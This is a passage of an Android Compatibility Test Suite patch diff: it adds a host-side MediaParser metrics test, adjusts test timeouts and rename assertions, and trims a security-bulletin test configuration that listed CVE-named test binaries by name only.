+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="media" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsMediaParserHostTestCases.jar" />
+ <option name="runtime-hint" value="3m" />
+ </test>
+</configuration>
+
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
new file mode 100644
index 0000000..51256bf
--- /dev/null
+++ b/hostsidetests/mediaparser/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 817235
+aquilescanta@google.com
+andrewlewis@google.com
+essick@google.com
+marcone@google.com
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
new file mode 100644
index 0000000..e5797ce
--- /dev/null
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediaparser.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.MediametricsMediaParserReported;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Test for checking that the MediaParser CTS tests produce the expected media metrics. */
+public class MediaParserHostSideTest extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String MEDIAPARSER_TEST_APK = "CtsMediaParserTestCasesApp.apk";
+ private static final String MEDIAPARSER_TEST_APP_PACKAGE = "android.media.mediaparser.cts";
+ private static final String MEDIAPARSER_TEST_CLASS_NAME =
+ "android.media.mediaparser.cts.MediaParserTest";
+ private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+ private static final String MEDIAPARSER_METRICS_SEPARATOR = "\\|";
+ private static final double MEDIAPARSER_METRICS_DITHER_VALUE = .02f;
+
+ private IBuildInfo mCtsBuildInfo;
+
+ // Resource management.
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuildInfo = buildInfo;
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ File apk = new CompatibilityBuildHelper(mCtsBuildInfo).getTestFile(MEDIAPARSER_TEST_APK);
+ assertThat(getDevice().installPackage(apk, /* reinstall= */ true)).isNull();
+ removeConfig();
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(MEDIAPARSER_TEST_APP_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testCreationByNameMetrics() throws Exception {
+ String[] expectedParserNames = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ // All of the above are created by name.
+ int[] expectedCreatedByName =
+ Arrays.stream(expectedParserNames).mapToInt(unusedArgument -> 1).toArray();
+ runDeviceTest("testCreationByName");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ String[] observedParserNames =
+ mediaParserReportedEvents.stream()
+ .map(MediametricsMediaParserReported::getParserName)
+ .toArray(String[]::new);
+ int[] observedCreatedByName =
+ mediaParserReportedEvents.stream()
+ .mapToInt(MediametricsMediaParserReported::getCreatedByName)
+ .toArray();
+ assertThat(observedParserNames).isEqualTo(expectedParserNames);
+ assertThat(observedCreatedByName).isEqualTo(expectedCreatedByName);
+ }
+
+ public void testParserPool() throws Exception {
+ runDeviceTest("testMp4");
+ String[] expectedParserNamesInPool = {
+ "android.media.mediaparser.MatroskaParser",
+ "android.media.mediaparser.FragmentedMp4Parser",
+ "android.media.mediaparser.Mp4Parser",
+ "android.media.mediaparser.Mp3Parser",
+ "android.media.mediaparser.AdtsParser",
+ "android.media.mediaparser.Ac3Parser",
+ "android.media.mediaparser.TsParser",
+ "android.media.mediaparser.FlvParser",
+ "android.media.mediaparser.OggParser",
+ "android.media.mediaparser.PsParser",
+ "android.media.mediaparser.WavParser",
+ "android.media.mediaparser.AmrParser",
+ "android.media.mediaparser.Ac4Parser",
+ "android.media.mediaparser.FlacParser",
+ };
+ String parserPool = getSingleMediaParserReportedEvent().getParserPool();
+ List<String> parserNamesInParserPool =
+ Arrays.asList(parserPool.split(MEDIAPARSER_METRICS_SEPARATOR));
+ // We do not assert the order in the pool in order to allow test robustness against future
+ // mainline changes.
+ assertThat(parserNamesInParserPool).containsExactlyElementsIn(expectedParserNamesInPool);
+ }
+
+ public void testLastException() throws Exception {
+ runDeviceTest("testOggInvalidHeaderSniff");
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(2);
+ for (MediametricsMediaParserReported event : mediaParserReportedEvents) {
+ assertThat(event.getLastException())
+ .isEqualTo("android.media.MediaParser$UnrecognizedInputFormatException");
+ }
+ }
+
+ public void testResourceByteCount() throws Exception {
+ long actualInputSize = 101597;
+ long minimumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualInputSize * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedByteCount = getSingleMediaParserReportedEvent().getResourceByteCount();
+ assertThat(reportedByteCount).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedByteCount).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void testDurationMillis() throws Exception {
+ long actualDurationMillis = 1024;
+ long minimumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+ long maximumExpectedResourceByteCount =
+ (long) (actualDurationMillis * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+ runDeviceTest("testMp4");
+ long reportedDurationMillis = getSingleMediaParserReportedEvent().getDurationMillis();
+ assertThat(reportedDurationMillis).isAtLeast(minimumExpectedResourceByteCount);
+ assertThat(reportedDurationMillis).isAtMost(maximumExpectedResourceByteCount);
+ }
+
+ public void testTrackMimeTypes() throws Exception {
+ String[] expectedTrackMimeTypes = new String[] {"video/avc", "audio/mp4a-latm"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackMimeTypes();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedTrackMimeTypes);
+ }
+
+ public void testTrackCodecs() throws Exception {
+ String[] expectedCodecs = new String[] {"", "mp4a.40.2"};
+ runDeviceTest("testMp4");
+ String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackCodecs();
+ List<String> actualTrackMimeTypes =
+ Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+ assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedCodecs);
+ }
+
+ public void testAlteredParameters() throws Exception {
+ runDeviceTest("testTsWithH264DtsAudio");
+ assertThat(getSingleMediaParserReportedEvent().getAlteredParameters())
+ .isEqualTo("android.media.mediaparser.ts.enableHdmvDtsAudioStreams");
+ }
+
+ public void testVideoSize() throws Exception {
+ runDeviceTest("testMp4");
+ MediametricsMediaParserReported reportedEvent = getSingleMediaParserReportedEvent();
+ assertThat(reportedEvent.getVideoWidth()).isEqualTo(1080);
+ assertThat(reportedEvent.getVideoHeight()).isEqualTo(720);
+ }
+
+ // Internal methods.
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(MEDIAPARSER_TEST_APP_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /**
+ * Asserts that there is only one MediaParser reported metric event, and returns it.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private MediametricsMediaParserReported getSingleMediaParserReportedEvent() throws Exception {
+ List<MediametricsMediaParserReported> mediaParserReportedEvents =
+ getMediaParserReportedEvents();
+ assertThat(mediaParserReportedEvents).hasSize(1);
+ return mediaParserReportedEvents.get(0);
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ // We sort the reported events by the elapsed timestamp so as to ensure they are returned
+ // in the same order as they were generated by the CTS tests.
+ return data.stream()
+ .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+ .map(event -> event.getAtom().getMediametricsMediaparserReported())
+ .collect(Collectors.toList());
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+
+ /** Runs the test with the given name from the MediaParser CTS apk. */
+ private void runDeviceTest(String testMethodName) throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(
+ MEDIAPARSER_TEST_APP_PACKAGE, TEST_RUNNER, getDevice().getIDevice());
+ testRunner.setMethodName(MEDIAPARSER_TEST_CLASS_NAME, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+ TestRunResult result = listener.getCurrentRunResults();
+ assertThat(result.isRunFailure()).isFalse();
+ assertThat(result.getNumTests()).isEqualTo(1);
+ assertThat(result.hasFailedTests()).isFalse();
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ AtomMatcher.newBuilder().setId(atomName.hashCode()).setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+}
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index d37b0f5..5b19d4b 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -58,7 +58,7 @@
private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(60L);
private TestStrategy mTest;
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
index 03d60bc..0bfc6c6 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/util/AppMimeGroups.java
@@ -72,7 +72,7 @@
mContext.sendBroadcast(getRequestIntent(mimeGroup, mimeTypes, request));
- Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(5L));
+ Intent response = receiver.awaitForBroadcast(TimeUnit.SECONDS.toMillis(60L));
mContext.unregisterReceiver(receiver);
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 6b24594..636972a 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -623,11 +623,20 @@
* Asserts can rename file.
*/
public static void assertCanRenameFile(File oldFile, File newFile) {
+ assertCanRenameFile(oldFile, newFile, /* checkDB */ true);
+ }
+
+ /**
+ * Asserts can rename file and optionally checks if the database is updated after rename.
+ */
+ public static void assertCanRenameFile(File oldFile, File newFile, boolean checkDatabase) {
assertThat(oldFile.renameTo(newFile)).isTrue();
assertThat(oldFile.exists()).isFalse();
assertThat(newFile.exists()).isTrue();
- assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
- assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+ if (checkDatabase) {
+ assertThat(getFileRowIdFromDatabase(oldFile)).isEqualTo(-1);
+ assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+ }
}
/**
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 47b45ed..99fc1a3 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -2186,18 +2186,18 @@
assertFileContent(otherAppPdf, BYTES_DATA1);
// Assert we can rename the file and ensure the file has the same content
- assertCanRenameFile(otherAppPdf, pdf);
+ assertCanRenameFile(otherAppPdf, pdf, /* checkDatabase */ false);
assertFileContent(pdf, BYTES_DATA1);
// We can even move it to the top level directory
- assertCanRenameFile(pdf, topLevelPdf);
+ assertCanRenameFile(pdf, topLevelPdf, /* checkDatabase */ false);
assertFileContent(topLevelPdf, BYTES_DATA1);
// And even rename to a place where PDFs don't belong, because we're an omnipotent
// external storage manager
- assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace);
+ assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace, /* checkDatabase */ false);
assertFileContent(pdfInObviouslyWrongPlace, BYTES_DATA1);
// And we can even convert it into a music file, because why not?
- assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile);
+ assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile, /* checkDatabase */ false);
assertFileContent(musicFile, BYTES_DATA1);
} finally {
pdf.delete();
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 41a05d5..a6b5c79 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -19,219 +19,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <!--__________________-->
- <!-- Utilities -->
- <option name="push" value="pacrunner->/data/local/tmp/pacrunner" />
-
- <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
- <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
- <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
- <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
- <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
- <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
- <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
- <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
- <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
- <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
- <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
- <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
- <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
- <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
- <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
- <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
-
- <!--__________________-->
- <!-- Bulletin 2016-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
- <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
- <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
-
- <!--__________________-->
- <!-- Bulletin 2016-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
- <option name="push" value="CVE-2015-1805->/data/local/tmp/CVE-2015-1805" />
-
- <!--__________________-->
- <!-- Bulletin 2016-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
-
- <!--__________________-->
- <!-- Bulletin 2016-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
- <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
- <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
- <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
-
- <!-- Bulletin 2016-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
-
- <!--__________________-->
- <!-- Bulletin 2016-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3913->/data/local/tmp/CVE-2016-3913" />
-
- <!--__________________-->
- <!-- Bulletin 2016-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
-
- <!--__________________-->
- <!-- Bulletin 2016-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
-
- <!--__________________-->
- <!-- Bulletin 2017-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0415->/data/local/tmp/CVE-2017-0415" />
- <option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
-
- <!--__________________-->
- <!-- Bulletin 2017-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0477->/data/local/tmp/CVE-2017-0477" />
- <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
- <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
- <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
- <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
- <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
-
- <!--__________________-->
- <!-- Bulletin 2017-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
- <option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
- <option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-5862->/data/local/tmp/CVE-2016-5862"/>
- <option name="push" value="CVE-2016-5867->/data/local/tmp/CVE-2016-5867"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-4658->/data/local/tmp/CVE-2016-4658" />
- <option name="push" value="CVE-2016-5131->/data/local/tmp/CVE-2016-5131" />
-
- <!--__________________-->
- <!-- Bulletin 2017-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2109->/data/local/tmp/CVE-2016-2109"/>
-
- <!--__________________-->
- <!-- Bulletin 2017-08 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
-
- <!--__________________-->
- <!-- Bulletin 2017-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0814->/data/local/tmp/CVE-2017-0814" />
-
- <!--__________________-->
- <!-- Bulletin 2017-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-6262->/data/local/tmp/CVE-2017-6262" />
-
- <!--__________________-->
- <!-- Bulletin 2018-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9527->/data/local/tmp/CVE-2018-9527" />
-
- <!--__________________-->
- <!-- Bulletin 2018-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
- <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
-
- <!--__________________-->
- <!-- Bulletin 2018-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
-
- <!--__________________-->
- <!-- Bulletin 2018-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9344->/data/local/tmp/CVE-2018-9344" />
-
- <!--__________________-->
- <!-- Bulletin 2018-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
-
- <!--__________________-->
- <!-- Bulletin 2018-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9472->/data/local/tmp/CVE-2018-9472" />
-
- <!--__________________-->
- <!-- Bulletin 2018-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9491->/data/local/tmp/CVE-2018-9491" />
- <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
-
- <!--__________________-->
- <!-- Bulletin 2018-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
-
- <!--__________________-->
- <!-- Bulletin 2019-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
- <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
-
- <!--__________________-->
- <!-- Bulletin 2019-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2019-9313->/data/local/tmp/CVE-2019-9313" />
-
- <!--__________________-->
- <!-- Bulletin 2020-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
- <option name="append-bitness" value="true" />
- </target_preparer>
-
- <!-- The following tests hit either 32-bit or 64-bit, but not both. All tests in this -->
- <!-- section should take care to build either 32 bit or 64 bit binary, but not both. -->
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
-
- <!-- Please add 32-bit binary tests below to avoid merge conflict -->
- <option name="push" value="CVE-2019-934732->/data/local/tmp/CVE-2019-9347" />
- <option name="push" value="CVE-2017-084032->/data/local/tmp/CVE-2017-0840" />
- <option name="push" value="CVE-2017-1324132->/data/local/tmp/CVE-2017-13241" />
-
- <!-- Please add 64-bit binary tests below to avoid merge conflict -->
-
-
- <option name="append-bitness" value="false" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -249,4 +36,11 @@
<option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
<option name="runtime-hint" value="18m26s" />
</test>
+
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+ <option name="src-dir" value="/sdcard/report-log-files/"/>
+ <option name="dest-dir" value="report-log-files/"/>
+ <option name="temp-dir" value="temp-report-logs/"/>
+ <option name="device-dir" value="true"/>
+ </target_preparer>
</configuration>
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 68945d3..28ce2a5 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,4 +1,5 @@
# Bug component: 36824
mspector@google.com
-samschumacher@google.com
manjaepark@google.com
+cdombroski@google.com
+lgallegos@google.com
